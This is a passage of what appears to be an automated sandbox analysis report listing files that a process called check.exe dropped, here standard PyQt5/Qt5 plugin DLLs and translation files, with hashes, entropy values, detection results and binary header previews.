Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........R...3..3..3..KA.3..o\..3..X..3..o\..3..o\..3..o\..3.."C..3..3...3.."C..3.."C..3.."C-.3.."C..3..Rich.3..........PE..d...H._.........." .....@...B.......E...............................................^....`..........................................f..t....f..........@............~..............HW..T....................X..(....W..0............P...............................text...k?.......@.................. ..`.rdata..&)...P...*...D..............@..@.data...(............n..............@....pdata...............p..............@..@.qtmetads............v..............@..P.rsrc...@............x..............@..@.reloc...............\|..............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qicns.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45040
Entropy (8bit):	6.016125225197622
Encrypted:	false
SSDEEP:	768:vEip0IlhxTDxut3dnm8IyAmQQ3ydJouEAkNypTAO0tfC3apmsdDG9Uf2hU:vxvXxgVIyA23ydJlEATpTAO0tfCKpms/
MD5:	AD84AF4D585643FF94BFA6DE672B3284
SHA1:	5D2DF51028FBEB7F6B52C02ADD702BC3FA781E08
SHA-256:	F4A229A082D16F80016F366156A2B951550F1E9DF6D4177323BBEDD92A429909
SHA-512:	B68D83A4A1928EB3390DEB9340CB27B8A3EB221C2E0BE86211EF318B4DD34B37531CA347C73CCE79A640C5B06FBD325E10F8C37E0CEE2581F22ABFBFF5CC0D55
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................a....Q........Q......Q......Q......................................Rich...........PE..d......_.........." .....B...N.......G...............................................&....`.............................................t...$...........@...........................xp..T....................r..(....p..0............`...............................text....@.......B.................. ..`.rdata...9...`...:...F..............@..@.data...............................@....pdata..............................@..@.qtmetadx...........................@..P.rsrc...@...........................@..@.reloc..............................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qico.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38384
Entropy (8bit):	5.957072398645384
Encrypted:	false
SSDEEP:	768:zBXBEfQiAzC9Oh5AS7a3Z5OGrTDeV9mp7nnsWdDGgYUf2hi/:8JAzuOhy3zOGrTDeV9mp7nnsWjYUfz
MD5:	A9ABD4329CA364D4F430EDDCB471BE59
SHA1:	C00A629419509929507A05AEBB706562C837E337
SHA-256:	1982A635DB9652304131C9C6FF9A693E70241600D2EF22B354962AA37997DE0B
SHA-512:	004EA8AE07C1A18B0B461A069409E4061D90401C8555DD23DBF164A08E96732F7126305134BFAF8B65B0406315F218E05B5F0F00BEDB840FB993D648CE996756
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........u.G...G...G...N...C......E...S...E......R......O......D.......B...G...........D.......F.......F.......F...RichG...................PE..d...H._.........." .....4...H.......9....................................................`..........................................h..t...th..........@............z..............(X..T....................Y..(....X..0............P..8............................text....2.......4.................. ..`.rdata..B/...P...0...8..............@..@.data...h............h..............@....pdata...............l..............@..@.qtmetad.............r..............@..P.rsrc...@............t..............@..@.reloc...............x..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qjpeg.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	421360
Entropy (8bit):	5.7491063936821405
Encrypted:	false
SSDEEP:	6144:USgOWz1eW38u9tyh6fpGUasBKTrsXWwMmH1l3JM5hn0uEfB4:USPQTnastBRB4
MD5:	16ABCCEB70BA20E73858E8F1912C05CD
SHA1:	4B3A32B166AB5BBBEE229790FDAE9CBC84F936BA
SHA-256:	FB4E980CB5FAFA8A4CD4239329AED93F7C32ED939C94B61FB2DF657F3C6AD158
SHA-512:	3E5C83967BF31C9B7F1720059DD51AA4338E518B076B0461541C781B076135E9CB9CBCEB13A8EC9217104517FBCC356BDD3FFACA7956D1C939E43988151F6273
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Iv"...L...L...L..o....L..xM...L..\|M...L.......L..xI...L..xH...L..xO...L..gM...L...M...L..gH.?.L..gI...L..gL...L..g....L..gN...L.Rich..L.........PE..d...o._.........." .....b...........i...............................................g....`.............................................t...............@....`.......R..............h...T.......................(.......0...............@............................text....`.......b.................. ..`.rdata..J............f..............@..@.data...8....P.......(..............@....pdata.......`... ...*..............@..@.qtmetad.............J..............@..P.rsrc...@............L..............@..@.reloc...............P..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qsvg.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32240
Entropy (8bit):	5.978149408776758
Encrypted:	false
SSDEEP:	768:uOVKDlJJVlTuLiMtsKVG7TSdDG9Uf2h4e:hVgJVlTuL/tsKVG7TSQUfre
MD5:	C0DE135782FA0235A0EA8E97898EAF2A
SHA1:	FCF5FD99239BF4E0B17B128B0EBEC144C7A17DE2
SHA-256:	B3498F0A10AC4CB42CF7213DB4944A34594FF36C78C50A0F249C9085D1B1FF39
SHA-512:	7BD5F90CCAB3CF50C55EAF14F7EF21E05D3C893FA7AC9846C6CA98D6E6D177263AC5EB8A85A34501BCFCA0DA7F0B6C39769726F4090FCA2231EE64869B81CF0B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........x>...P...P...P..a...P.&vQ...P..rQ...P.&vU...P.&vT...P.&vS...P.kiQ...P...Q.n.P.kiU...P.kiP...P.ki....P.kiR...P.Rich..P.........PE..d......_.........." .....$...B......D)....................................................`.........................................PU..t....U..........@............b...............G..T....................I..(...PH..0............@..(............................text....".......$.................. ..`.rdata...+...@...,...(..............@..@.data...8....p.......T..............@....pdata...............V..............@..@.qtmetad.............Z..............@..P.rsrc...@............\..............@..@.reloc...............`..............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qtga.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31728
Entropy (8bit):	5.865766652452823
Encrypted:	false
SSDEEP:	768:1lGALluUEAQATWQ79Z2Y8Ar+dDG2vUf2hF:TZl/EH8WQ794Y8Ar+hvUfm
MD5:	A913276FA25D2E6FD999940454C23093
SHA1:	785B7BC7110218EC0E659C0E5ACE9520AA451615
SHA-256:	5B641DEC81AEC1CF7AC0CCE9FC067BB642FBD32DA138A36E3BDAC3BB5B36C37A
SHA-512:	CEBE48E6E6C5CDF8FC339560751813B8DE11D2471A3DAB7D648DF5B313D85735889D4E704E8EEC0AD1084AB43BE0EBDFBACD038AEAC46D7A951EFB3A7CE838EB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........F ._'N._'N._'N.V_.Y'N..HO.]'N.KLO.]'N..HK.M'N..HJ.W'N..HM.\'N..WO.Z'N._'O.4'N..WK.\'N..WN.^'N..W..^'N..WL.^'N.Rich_'N.........................PE..d......_.........." ....."...@.......'..............................................7.....`..........................................W..t...dX..........@.......`....`..............(I..T....................J..(....I..0............@..h............................text...[!.......".................. ..`.rdata...)...@...*...&..............@..@.data........p.......P..............@....pdata..`............T..............@..@.qtmetadu............X..............@..P.rsrc...@............Z..............@..@.reloc...............^..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qtiff.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	390128
Entropy (8bit):	5.724665470266677
Encrypted:	false
SSDEEP:	6144:V0jqHiFBaRe0GPAKwP15e7xrEEEEEEN024Rx/3tkYiHUASQbs/l7OanYoOgyV:0qqwP15bx/q7/yyV
MD5:	9C0ACF12D3D25384868DCD81C787F382
SHA1:	C6E877ABA3FB3D2F21D86BE300E753E23BB0B74E
SHA-256:	825174429CED6B3DAB18115DBC6C9DA07BF5248C86EC1BD5C0DCAECA93B4C22D
SHA-512:	45594FA3C5D7C4F26325927BB8D51B0B88E162E3F5E7B7F39A5D72437606383E9FDC8F83A77F814E45AFF254914514AE52C1D840A6C7B98767F362ED3F4FC5BD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................E....q............q......q......q......<.............<......<......<......<.)....<......Rich....................PE..d......_.........." .....(..........D-.......................................0............`.............................................t...4...........@........%........... ..(....d..T................... f..(....d..0............@..0............................text....&.......(.................. ..`.rdata...v...@...x...,..............@..@.data...(...........................@....pdata...%.......&..................@..@.qtmetad............................@..P.rsrc...@...........................@..@.reloc..(.... ......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qwbmp.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30192
Entropy (8bit):	5.938644231596902
Encrypted:	false
SSDEEP:	768:EfEM3S46JE2X/xBZ76pC5J6GdDGZUf2h4:63S3JE2PHZ76pC5J6GEUfn
MD5:	68919381E3C64E956D05863339F5C68C
SHA1:	CE0A2AD1F1A46B61CB298CEC5AA0B25FF2C12992
SHA-256:	0F05969FB926A62A338782B32446EA3E28E4BFBFFC0DBD25ED303FAB3404ABAC
SHA-512:	6222A3818157F6BCD793291A6C0380EF8C6B93ECEA2E0C9A767D9D9163461B541AFAF8C6B21C5A020F01C95C6EE9B2B74B358BA18DA120F520E87E24B20836AA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........]...<.I.<.I.<.I.D%I.<.I.S.H.<.I.W.H.<.I.S.H.<.I.S.H.<.I.S.H.<.IYL.H.<.I.<.I.<.IYL.H.<.IYL.H.<.IYLII.<.IYL.H.<.IRich.<.I........PE..d......_.........." ..... ...8.......'....................................................`......................................... D..t....D..........@....p..T....Z...............6..T...................p8..(...@7..0............0..p............................text............ .................. ..`.rdata..d&...0...(...$..............@..@.data........`.......L..............@....pdata..T....p.......N..............@..@.qtmetad~............R..............@..P.rsrc...@............T..............@..@.reloc...............X..............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qwebp.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	510448
Entropy (8bit):	6.605517748735854
Encrypted:	false
SSDEEP:	12288:bPTjgdqdsvh+LrLrLrL5/y4DVHAsqx3hXS+oPZQqRaYG:jT5sMLrLrLrL5q4dAsaOFo
MD5:	308E4565C3C5646F9ABD77885B07358E
SHA1:	71CB8047A9EF0CDB3EE27428726CACD063BB95B7
SHA-256:	6E37ACD0D357871F92B7FDE7206C904C734CAA02F94544DF646957DF8C4987AF
SHA-512:	FFAEECFAE097D5E9D1186522BD8D29C95CE48B87583624EB6D0D52BD19E36DB2860A557E19F0A05847458605A9A540C2A9899D53D36A6B7FD5BF0AD86AF88124
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................a....s........s......s......s....>.........>......>.....>....>......>....Rich...................PE..d......_.........." .....B..........tH.......................................0......`q....`..........................................W..t....W..........@.......0H........... ......h...T.......................(.......0............`...............................text...[@.......B.................. ..`.rdata..J....`.......F..............@..@.data....'...........X..............@....pdata..0H.......J...\..............@..@.qtmetadv...........................@..P.rsrc...@...........................@..@.reloc....... ......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qminimal.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	844784
Entropy (8bit):	6.625808732261156
Encrypted:	false
SSDEEP:	12288:y6MhioHKQ1ra8HT+bkMY8zKI4kwU7dFOTTYfEWmTxbwTlWc:BMhioHKQp+bkjAjwGdFSZtbwBd
MD5:	2F6D88F8EC3047DEAF174002228219AB
SHA1:	EB7242BB0FE74EA78A17D39C76310A7CDD1603A8
SHA-256:	05D1E7364DD2A672DF3CA44DD6FD85BED3D3DC239DCFE29BFB464F10B4DAA628
SHA-512:	0A895BA11C81AF14B5BD1A04A450D6DCCA531063307C9EF076E9C47BD15F4438837C5D425CAEE2150F3259691F971D6EE61154748D06D29E4E77DA3110053B54
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#\..B2..B2..B2..:...B2..-3..B2.F....B2..-7..B2..-6..B2..-1..B2..)6..B2.^23..B2..)3..B2..B3.@2.^26..B2.^27..B2.^22..B2.^2...B2.^20..B2.Rich.B2.........PE..d...N._.........." ......................................................... ............`......................................... ...x.......@.......H....`..H.......................T.......................(.......0...............(............................text...;........................... ..`.rdata...C.......D..................@..@.data...H....@......."..............@....pdata..H....`.......0..............@..@.qtmetad............................@..P.rsrc...H...........................@..@.reloc..............................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qoffscreen.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	754672
Entropy (8bit):	6.6323155845799695
Encrypted:	false
SSDEEP:	12288:/HpBmyVIRZ3Tck83vEgex5aebusGMIlhLfEWmpCJkl:/HpB63TckUcLaHMITAZmW
MD5:	6407499918557594916C6AB1FFEF1E99
SHA1:	5A57C6B3FFD51FC5688D5A28436AD2C2E70D3976
SHA-256:	54097626FAAE718A4BC8E436C85B4DED8F8FB7051B2B9563A29AEE4ED5C32B7B
SHA-512:	8E8ABB563A508E7E75241B9720A0E7AE9C1A59DD23788C74E4ED32A028721F56546792D6CCA326F3D6AA0A62FDEDC63BF41B8B74187215CD3B26439F40233F4D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m..T..KT..KT..K]t7K@..K.c.JV..K@g.JV..K.cKU..K.c.JA..K.c.J\..K.c.JP..K.\|.JQ..KT..K...K.\|.Js..K.\|.JS..K.\|.JU..K.\|[KU..K.\|.JU..KRichT..K........PE..d...R._.........." ................L.....................................................`.............................................x...8...........H....... s...h..........p.......T................... ...(.......0...............@............................text............................... ..`.rdata..............................@..@.data...............................@....pdata.. s.......t..................@..@.qtmetad.............T..............@..P.rsrc...H............V..............@..@.reloc..p............Z..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qwebgl.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	482288
Entropy (8bit):	6.152380961313931
Encrypted:	false
SSDEEP:	6144:WO/vyK+DtyaHlIMDhg5WEOvAwKB2VaaHeqRw/yVfYu4UnCA6DEjeYchcD+1Zy2:bKtHOWg5OvAwK0NYu4AShcD+1U2
MD5:	1EDCB08C16D30516483A4CBB7D81E062
SHA1:	4760915F1B90194760100304B8469A3B2E97E2BC
SHA-256:	9C3B2FA2383EEED92BB5810BDCF893AE30FA654A30B453AB2E49A95E1CCF1631
SHA-512:	0A923495210B2DC6EB1ACEDAF76D57B07D72D56108FD718BD0368D2C2E78AE7AC848B90D90C8393320A3D800A38E87796965AFD84DA8C1DF6C6B244D533F0F39
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........gM..#...#...#..~....#.ei&...#.ei'...#.ei ...#..m'...#.ei"...#.(v"...#..m"...#..."...#.(v&...#.(v#...#.(v...#.(v!...#.Rich..#.................PE..d......_.........." .....R...........;....................................................`..........................................m..t...Dn..T.......@....@...=...@..............0...T.......................(.......0............p..(............................text...{Q.......R.................. ..`.rdata..:....p.......V..............@..@.data...H....0......................@....pdata...=...@...>..................@..@.qtmetadz............2..............@..P.rsrc...@............4..............@..@.reloc...............8..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qwindows.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1477104
Entropy (8bit):	6.575113537540671
Encrypted:	false
SSDEEP:	24576:4mCSPJrAbXEEuV9Hw2SoYFo3HdxjEgqJkLdLu5qpmZuhg/A2b:nPlIEEuV9Hw2SFFWHdWZsdmqja/A2b
MD5:	4931FCD0E86C4D4F83128DC74E01EAAD
SHA1:	AC1D0242D36896D4DDA53B95812F11692E87D8DF
SHA-256:	3333BA244C97264E3BD19DB5953EFA80A6E47AACED9D337AC3287EC718162B85
SHA-512:	0396BCCDA43856950AFE4E7B16E0F95D4D48B87473DC90CF029E6DDFD0777E1192C307CFE424EAE6FB61C1B479F0BA1EF1E4269A69C843311A37252CF817D84D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......i...-...-...-...$.%.9.....q.,......8......%......)......+...9......9..,......)..........9..8...-..........d......,.....I.,......,...Rich-...........PE..d....._.........." .....,...h......4+..............................................n.....`.............................................x...(...........H............n..........X....r..T...................Pt..(... s..0............@...5...........................text..._+.......,.................. ..`.rdata.......@.......0..............@..@.data....m...@...D...(..............@....pdata...............l..............@..@.qtmetad.............J..............@..P.rsrc...H............L..............@..@.reloc..X............P..............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platformthemes\qxdgdesktopportal.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68592
Entropy (8bit):	6.125954940500008
Encrypted:	false
SSDEEP:	1536:Nt4B1RLj3S6TtH2sweUH+Hz6/4+D6VFsfvUfO:AB1RHFdoeUs6/4O6VFSZ
MD5:	F66F6E9EDA956F72E3BB113407035E61
SHA1:	97328524DA8E82F5F92878F1C0421B38ECEC1E6C
SHA-256:	E23FBC1BEC6CEEDFA9FD305606A460D9CAC5D43A66D19C0DE36E27632FDDD952
SHA-512:	7FF76E83C8D82016AB6BD349F10405F30DEEBE97E8347C6762EB71A40009F9A2978A0D8D0C054CF7A3D2D377563F6A21B97DDEFD50A9AC932D43CC124D7C4918
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+...o...o...o...f...k......m...{..m......~......h......m......h...o..........k......n.....~.n......n...Richo...........................PE..d...V._.........." .....z...t......T........................................@.......b....`......................................... ................ ..X....................0..4.......T.......................(...p...0...............x............................text....y.......z.................. ..`.rdata...Z.......\...~..............@..@.data...............................@....pdata..............................@..@.qtmetad............................@..P.rsrc...X.... ......................@..@.reloc..4....0......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\styles\qwindowsvistastyle.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	144368
Entropy (8bit):	6.294675868932723
Encrypted:	false
SSDEEP:	3072:rrjwZ43rCOtrBk7wcR0l7wBlaL6BtIEt51T0Nhkqg8FoQY:7hZu9R0l7wFBtIEt51T0Nuqg8JY
MD5:	53A85F51054B7D58D8AD7C36975ACB96
SHA1:	893A757CA01472A96FB913D436AA9F8CFB2A297F
SHA-256:	D9B21182952682FE7BA63AF1DF24E23ACE592C35B3F31ECEEF9F0EABEB5881B9
SHA-512:	35957964213B41F1F21B860B03458404FBF11DAF03D102FBEA8C2B2F249050CEFBB348EDC3F22D8ECC3CB8ABFDC44215C2DC9DA029B4F93A7F40197BD0C16960
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R._...1]..1]..1]..]..1]..0\..1]..5\..1]..2\..1]..4\..1]..0\..1]..0\..1]..0]..1]..4\..1]..1\..1]...]..1]..3\..1]Rich..1]........................PE..d...`._.........." .....\...........`.......................................`......wJ....`................................................. ........@..X.... ...............P.........T...................`...(...0...0............p...............................text....Z.......\.................. ..`.rdata......p.......`..............@..@.data...............................@....pdata....... ......................@..@.qtmetadm....0......................@..P.rsrc...X....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_ar.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	130
Entropy (8bit):	4.024232093209084
Encrypted:	false
SSDEEP:	3:j2wZC4C/2/vlAlHekW3/S1MUe3/CLlI+rwtbWlMrNtYs8ar/u:Cwm+/PtUePCRIRt6Ygs8y/u
MD5:	8FF05B56C0995F90A80B7064AA6E915C
SHA1:	D5AEB09AE557CEEFB758972EC4AC624CDDC9E6A7
SHA-256:	A8A1B0D6F958E7366D1C856BE61000106D3E7FC993FB931675369892B9002D0B
SHA-512:	5374E0F1D3F5A6A456B00732DE8005787B17ECEF9C8A2B2C1228966A6A8DE211700334D8FD789DAD269F52D0AEED3F5160010CA60909861E270C253B3EA881A4
Malicious:	false
Preview:	<.d....!..`.......ar....R.....q.t.b.a.s.e._.a.r.....q.t.s.c.r.i.p.t._.a.r.....q.t.m.u.l.t.i.m.e.d.i.a._.a.r..............$...*.

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_bg.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.6813848812976975
Encrypted:	false
SSDEEP:	3:j2wZC4C/6lLlAlHekVYtzlY1MUdI7lULlI+rwtbWlMoIFl8IPldkO4t/z:CwDC+7tJjUWhURIRt68f8oiP1z
MD5:	466EED6C184D2055488D4C5EA9AE5F20
SHA1:	8599AB9B731BFC84F6EEC7A0129F396FB8FEC4EA
SHA-256:	9E1CE4D91852352043D9191F1A992838F919CBA7E2F2D9BB1161E494E8BF5F5E
SHA-512:	D2462951EC7DCE3D0851AE9C4ED644FFE0D2A5BDD15B4AE1A4295C187B4295BC854D6A5038DAC0564D165463419D615EB6CE7A9760CEFAD71AB673FB2109C349
Malicious:	false
Preview:	<.d....!..`.......bg....v.....q.t.b.a.s.e._.b.g.....q.t.s.c.r.i.p.t._.b.g.....q.t.m.u.l.t.i.m.e.d.i.a._.b.g... .q.t.x.m.l.p.a.t.t.e.r.n.s._.b.g.......

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_ca.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.631479835393124
Encrypted:	false
SSDEEP:	3:j2wZC4C/NVl/lAlHekUOplY1MUce/hlAlI+rwtbWlMpOflUlIPldkOHlz:CwO4+94jUcerAIRt6a6Uloi8
MD5:	6FBA66FE449866B478A2EBA66A724A02
SHA1:	EBEF6ED8460218CE8DF735659A8CBCD693600AC6
SHA-256:	171C7424B24D8502AB53CB3784FF34D8FCFAE26557CF8AF4DFDDEC6485ACC2FE
SHA-512:	2D2438738C6D10D8A53B46DE5A94BBF993818D080F344D9F1B94FC83D60335D9A5E8EFCC297D593FFF1D427972F9F9502FC31C332CAEA579FC7A88487390457E
Malicious:	false
Preview:	<.d....!..`.......ca....v.....q.t.b.a.s.e._.c.a.....q.t.s.c.r.i.p.t._.c.a.....q.t.m.u.l.t.i.m.e.d.i.a._.c.a... .q.t.x.m.l.p.a.t.t.e.r.n.s._.c.a.......

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_cs.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	157
Entropy (8bit):	3.7483537099309427
Encrypted:	false
SSDEEP:	3:j2wZC4C/fVFlAlHekUsplY1MUcM/hlULlI+rwtbWlMpsfl8IPldkO1lPchn:CwY4+9ujUcMrURIRt6aE8oinh
MD5:	D033053C03C3ECFA2AA926E0E674F67F
SHA1:	B4E95F8278121E2549F8BB6B5DAF1496F1738A7D
SHA-256:	3C0CBFD19490D67D1B3B9E944C3A4D9A9E7F87D7AE35E88D5D5A0077349B5B21
SHA-512:	2C7E9E9DBE0B25FBA94A52FE4BCCB1D9FED2A7BD2877DB91F82546C3BC8606280949594227BA0FC1C74C31010E1F573B3A82852BE746EAA4F397140485789136
Malicious:	false
Preview:	<.d....!..`.......cs....v.....q.t.b.a.s.e._.c.s.....q.t.s.c.r.i.p.t._.c.s.....q.t.m.u.l.t.i.m.e.d.i.a._.c.s... .q.t.x.m.l.p.a.t.t.e.r.n.s._.c.s...........

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_da.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.6174817344122334
Encrypted:	false
SSDEEP:	3:j2wZC4C/4Jlr/lAlHekT6hY1MUb6JAlI+rwtbWlMuel3UlIPldkOQtt:Cw7rC+3jUkAIRt6EVUloi9
MD5:	E6A683F4A0883B5B0C7D30B847EF208C
SHA1:	FF2440DBBFE04AD86C6F285426AAFD49A895B128
SHA-256:	B5036161CE808C728E5FDA985F792DB565831FD01CF00B282547790C037353A2
SHA-512:	D73B794A71DFD3A3C06BF43ED109F635B4960F9A3904FB728873AB5251BDF6A791DDFDEBA884A2703A35461E18BA902804095AC4B92A2C9361526469B6D35FFA
Malicious:	false
Preview:	<.d....!..`.......da....v.....q.t.b.a.s.e._.d.a.....q.t.s.c.r.i.p.t._.d.a.....q.t.m.u.l.t.i.m.e.d.i.a._.d.a... .q.t.x.m.l.p.a.t.t.e.r.n.s._.d.a.......

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_de.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.6174817344122334
Encrypted:	false
SSDEEP:	3:j2wZC4C/8rJFlAlHekTul01MUbul4LlI+rwtbWlMuallyIPldkOknt:Cw/rJ4+XU5RIRt6Aaoi7t
MD5:	06168E1261BF72F49F94927723B2E1EB
SHA1:	DEAF1B53C3FEE6CB28840418D0060AFA4D59D3FC
SHA-256:	5805B8FF3747849794E2D70661D737C69C15F1AE763C38E17084B1E5A81E9153
SHA-512:	AA3915C029C74DC270514C7F50E8BEC06C825F278E0DE0477AD8ED3187700BBD7711382A6E47C3AC76AC756CEFF9FA8CDD4E9B9DAC817475BC122F78B02C7D7D
Malicious:	false
Preview:	<.d....!..`.......de....v.....q.t.b.a.s.e._.d.e.....q.t.s.c.r.i.p.t._.d.e.....q.t.m.u.l.t.i.m.e.d.i.a._.d.e... .q.t.x.m.l.p.a.t.t.e.r.n.s._.d.e.......

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_en.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:j2wZC4n:CwZ
MD5:	BCEBCF42735C6849BDECBB77451021DD
SHA1:	4884FD9AF6890647B7AF1AEFA57F38CCA49AD899
SHA-256:	9959B510B15D18937848AD13007E30459D2E993C67E564BADBFC18F935695C85
SHA-512:	F951B511FFB1A6B94B1BCAE9DF26B41B2FF829560583D7C83E70279D1B5304BDE299B3679D863CAD6BB79D0BEDA524FC195B7F054ECF11D2090037526B451B78
Malicious:	false
Preview:	<.d....!..`...

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\translations\qt_es.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
